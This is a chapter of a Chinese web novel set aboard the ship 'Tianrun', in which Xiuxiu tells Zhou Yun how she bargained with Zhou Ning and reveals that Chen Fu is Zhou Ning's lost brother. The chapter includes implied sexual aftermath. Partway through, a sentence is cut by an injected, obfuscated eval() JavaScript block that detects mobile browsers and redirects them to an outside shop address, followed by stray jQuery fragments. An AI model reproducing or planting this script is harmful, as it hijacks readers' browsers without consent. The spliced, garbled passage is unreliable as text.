次日，腊月十五。


    海上的日子过久了便全靠船上那些死规矩掐出刻度。今日原是朔望祭祀之期，天未亮，香烛牲礼便该备好，但昨日“上头”提早传下话来，祭典取消。


    这话传得低调，可满船的人谁心里不门儿清？自打冬至那日张纭在祭海大典上闹了那一出，如今徐副使又被清算，谶言好似显灵一般，全船上下，官员也好，水手也罢，再经不起风吹草动。


    寂寞横洋，恨水茫茫，众人心绪难安。


    船头看向水面，掌舵的手不敢颤，眼不敢斜，心底惶惑却是更甚，他也不知这是何处了，海图上的标识愈发陌生，星辰方位日日偏移，风中暖意都尤为黏腻。


    可“天润号”依旧从容，顺风张帆，在汪洋海面上，全力奔赴那个讳莫如深的目的地。


    碧海狂涛间，白日愈长，日头愈烈。


    经过昨夜骤风急雨洗礼，待到寅卯交替之际，破晓天光划开澄明一道。


    提督舱房不临主舷，光线薄薄一层。


    秀秀被热醒了。


    她半睁开眼，睫毛一忽闪，脑中仍是将醒未醒的迷蒙，她抬手拨了拨黏在额上的发丝，偏头望向身侧。


    周允正仰面躺着，胸膛平稳起伏，睡得四平八稳，随意得好似在自己家里。


    她有些不平。自个儿浑身酸疼，他倒好，睡得这般踏实，不知在梦里捡了什么便宜。


    她伸出手，避开他额角薄汗，轻抚他颧骨上那道淡红的伤。


    心里虽抱怨，下手却轻柔，指尖游移，缓缓滑过鼻梁，最后停在他唇上。


    轻点一下。他呼吸平稳，毫无所觉。


    秀秀忍不住微微一笑。


    再点一下。


    周允忽然微微张开嘴，舌头卷过，含住了她手指。


    秀秀一惊，瑟缩着想收回手，却被他抓住手腕。


    周允闭着眼，将她手按在自己心口，又将她往身边又拉了拉。


    “热……”秀秀掣着他胳膊猛摇两下。


    周允并未松手，他阖着眼，声音有些粗哑：“找不到你的时候，这里被掏空了。”


    掌心下心跳沉稳有力，如同窗外潮汐。良久，她听见自己的声音：“现在呢？”


    “现在被填满了。”


    秀秀垂眼弯了弯嘴角：“我那日夜里出去，不是存心要吓你。”


    “我知道。”


    “她不让我走。”


    周允闻言睁开了眼，片刻后，他问：“周宁？”


    “嗯。”


    他不再说话，只是抬手缓缓摩挲她头发，手指通顺那些纠缠的发丝，顺着脊背滑下，他用力将她揽进怀中，想要抱住七日前那个独自消失的单薄身影。


    七日前深夜，海上风平浪静，秀秀独自叩响了周宁的房门。


    她身子立在舱房中，像飘摇的芦苇。


    彼时周宁坐在桌边，淡漠道：“如今只要你们不露马脚，脱身易如反掌，自救不过吹灰之力，何须来寻我？”


    “若只求我们二人苟活，确实不难。”秀秀声音很稳，“但周允想救的，不止我们两个。”


    静待片刻，她继续道：“他想救的，是这一船被蒙在鼓里的祭品。”


    周宁终于肯睇她一眼：“你怎知，我就不想救这一船的人？”


    秀秀没说话，径自在她对面坐下。


    未几，周宁轻嗤一声：“缓兵之计？”


    “不。”秀秀摇头，坦然道，“是投诚，也是合作。我不会像周允一样，我需要你这个盟友。”


    “我凭何冒这个险？”周宁质疑。


    秀秀有备而来，不慌不忙说出心中思量：“此番出海，众船舰副使归京叙职，朝廷必有赏赐安抚。可我想，真正紧要的应是回京后的考功。提拔之人有数，而这‘天润号’上，徐副使手握卫队调遣权，又是内官出身，与皇京礼监那头千丝万缕，他一心想要独占头功，若是被他发现，你想从祭祀名单里神不知鬼不觉地掏出一个人来……”


    她没往下说，留了半句，悬而未落。


    “你既看得这般透彻，大可去找那姓徐的。”周宁的嗓音冷得快要冻结成冰。


    “实在不想和那老阉货打交道。”


    秀秀叹了口气，语气是掩饰不住的厌倦，她认真道：“女子和女子之间，总归是不一样的。即便立场不同，所求各异，但你，一定是比徐副使更好的选择。”


    周宁从鼻子里轻哼一声，听不大出意味：“不一样？你以为我会因同为女子便与你惺惺相惜？看来你比周允还要傻。”她慢悠悠问，“再者，我又凭何信你？”


    秀秀抬起双手，掌心向上全然敞开，毫不设防。


    “凭现在，凭我独身一人，将性命送至你手上。若是不信，你大可现在便叫侍卫。”秀秀稍作停顿，直直望着周宁，“又或者，你亲自动手。”


    周宁冷冷盯着那双发光乌黑的眼珠，并未探寻到自己想要的东西。她定然不能全盘相信，但眼下一个如此“听话”的提督送上门来，也称得上是意外之喜。


    心中左右权衡，她点了头。


    但她要秀秀留下。


    “所以这七日，你都在她那里。”周允的声音从头顶传来。


    秀秀靠上他肩窝。


    她独自去找周宁谈判并非一时冲动，只因太了解周允。


    周宁不会让他们空手套白狼，而在周宁面前，他们最大的筹码不过是自己这条命。


    依照周允性子，断然不会让她留下做质，可两人比起来，她才是最适合留下的那个。周允有些拳脚武力，在外头行事总归比她更方便，何况，最危险的地方便是最安全的，她留在周宁这里，做“提督质子”，反而是对自己最有利的自保。


    个中缘由干干净净。


    难两全。


    那便义无反顾斩断旁的岔路，把接下来要走的路扫得干净些。


    她素来不信平安符当真能保平安，可那夜躺在周宁舱房的榻上，她却突然明白了钊虹的心意。她宁愿相信留给周允那枚符袋真的有奇效。


    剩下的她不敢多想，只是很想知道，周允一觉醒来发现她不见了，会如何呢？


    此时此刻，这个与她重新相拥的人，正一字一句告诉她：“以后别再抛下我。”


    秀秀有些心虚，她深深地将头埋下去。


    当初周允去周


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171117|188039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁房外要人时，她正在房中坐着，门外动静那般大，她都听得一清二楚。


    倒不是她故意不出去，而是周宁死死盯着不许她动。周宁要的便将周允逼至悬崖边上，怎会轻易将手里最紧要的饵放手？


    直到徐副使及其爪牙全部被拿下，周宁仍不放她走。


    那一刻秀秀才明白，周宁从未相信过她。隔岸观火，借刀杀人，坐享其成，周宁只不过是在等，等周允落子，等这局棋走到终盘。


    于是她又做了抵押，这回押的是周允。


    那时周宁问：“重要吗？”


    秀秀笃定不疑。对于周宁而言，周允确实不重要，但对于宁棋客而言，指尖神手很重要。


    周允听到此处，忽然低低地笑了：“你比我会讨价还价。”


    言罢，见秀秀眉毛仍聚着，他问：“怎了？”


    秀秀没应声，从床上坐起身。秀发滑落，铺了满背，她随手拢了一把，开口道：“周允，陈甫——”


    话说一半，她忽然顿住。


    只见周允四敞大开躺在床上，闻言懒懒一掀眼皮，眉梢微动，视线从秀秀的脸向下移。


    他目不转睛，喉结滚动。


    “周允？”秀秀唤她。


    他心不在焉“嗯”了一声。


    秀秀懵懂，循着他的目光看去，青丝拂过锁骨，扫在胸前，胸口处几点嫣红若隐若现，好似深冬腊梅，正从被角探出头来。


    她腾地红了脸。


    秀秀往上扯了扯被子，牢牢攥着被角挡在胸前，然后一寸一寸往床沿挪去，欲寻一处清明，好似离这浪徒愈远，便愈能和他撇清干系。


    一头长发散落，掩不住满面桃花。


    周允往后靠了靠，自觉曲起长腿，为她让出一条去路。


    秀秀坐到床沿，一掀帷帐，湿答答的衣鞋凌乱扔了满地，处处诉说昨日战场，却无一处可下脚。


    她垂眼寻鞋，瞥见脚踏旁。


    那处，一件绣着折枝兰的藕色缎面肚兜正委屈窝着，上头的兰花活似被风雨打落。细看绣花周围有细密针脚，那处固定了一个内袋，平时里头搁着那枚平安符。


    可此时，这内袋上却蒙着一团干涸的、糨糊似的白渍。


    她怔了好半晌，嫣红从脸颊漫遍身子。回视周允，她脸上满不高兴，不肯再有旁的神情。


    周允不明所以，撑着身子爬起，垂眸的瞬间，也不由滞了一瞬，眼中浮上讪讪之色。


    他挠挠耳根，随即利落掀被下床，赤着脚走至柜边，翻出一叠干净衣裳递来。


    他主动开口，将话头拉回正轨：“陈甫怎了？”


    秀秀一把扯过衣裳，帷帐轻飘飘而落，将他的视线连同那张脸一起挡在外面。


    布料窸窣声中，她淡言淡语：“他是周宁的弟弟。


    帷帐外转瞬静了。


    少顷，帘子被掀开一角。


    周允的脸从帘缝里露出来，他未再往里进，只偏着头，眉头微微皱着，好似没听清。


    “……谁？”他问。


    秀秀系好衣带，将他脑袋重重推出去，这才又重复了一遍：“陈甫。他是周宁失散多年的胞弟。”